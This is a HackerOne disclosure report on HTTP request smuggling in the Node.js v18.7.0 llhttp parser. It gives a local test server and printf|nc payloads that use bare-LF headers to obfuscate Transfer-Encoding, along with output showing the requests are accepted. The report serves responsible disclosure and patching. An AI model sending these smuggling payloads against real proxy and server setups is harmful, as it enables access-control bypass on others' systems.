Lucene search

K
hackeroneVvx7H1:1675191
HistoryAug 20, 2022 - 3:13 a.m.

Node.js: HTTP Request Smuggling Due to Incorrect Parsing of Header Fields

2022-08-2003:13:30
vvx7
hackerone.com
26

0.003 Low

EPSS

Percentile

66.0%

Summary:
The llhttp parser in the http module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling.

Description:
The following chunked request is processed. It should be rejected as Transfer-Encoding header obfuscation may result in HRS when the upstream proxy does not process the Transfer-Encoding header.

A header that precedes the Transfer-Encoding, contains an empty value, and is not properly delimited with CLRF may be used for TE obfuscation.

POST / HTTP/1.1
Host: localhost:5000
x:\nTransfer-Encoding: chunked

1
A
0

The request is rejected when the preceding header has a value but improper CLRF.

POST / HTTP/1.1
Host: localhost:5000
x:x\nTransfer-Encoding: chunked

1
A
0

Steps To Reproduce:

Server
Run the server: node app.js

// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
const http = require('http');

http.createServer((request, response) => {
  let body = [];
  request.on('error', (err) => {
    response.end("Request Error: " + err)
  }).on('data', (chunk) => {
        body.push(chunk);
  }).on('end', () => {
    body = Buffer.concat(body).toString();

    // log the body to stdout to catch the smuggled request
    console.log("Response");
    console.log(request.headers);
    console.log(body);
    console.log("---");

    response.on('error', (err) => {
      // log the body to stdout to catch the smuggled request
        response.end("Response Error: " + err)
    });

    response.end("Body length: " + body.length.toString() + " Body: " + body);
  });
}).listen(5000);

Payload

printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" x:\nTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000

Output

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 02:59:38 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22

Body length: 1 Body: A

Note:

printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" Transfer-Encoding: yeet\r\n"\
" Transfer-Encoding: \n"\
" Transfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000

This also works with the resulting wonky header:

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 03:06:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22

Body length: 1 Body: A
Response
{ host: 'localhost:5000', 'transfer-encoding': 'yeet, , chunked' }
A

Impact:

HRS can lead to access control bypass and other issues.

Supporting Material/References:

{F1875064}

https://hackerone.com/reports/1501679
https://hackerone.com/reports/1238709

Impact

HTTP Request Smuggling can lead to access control bypass.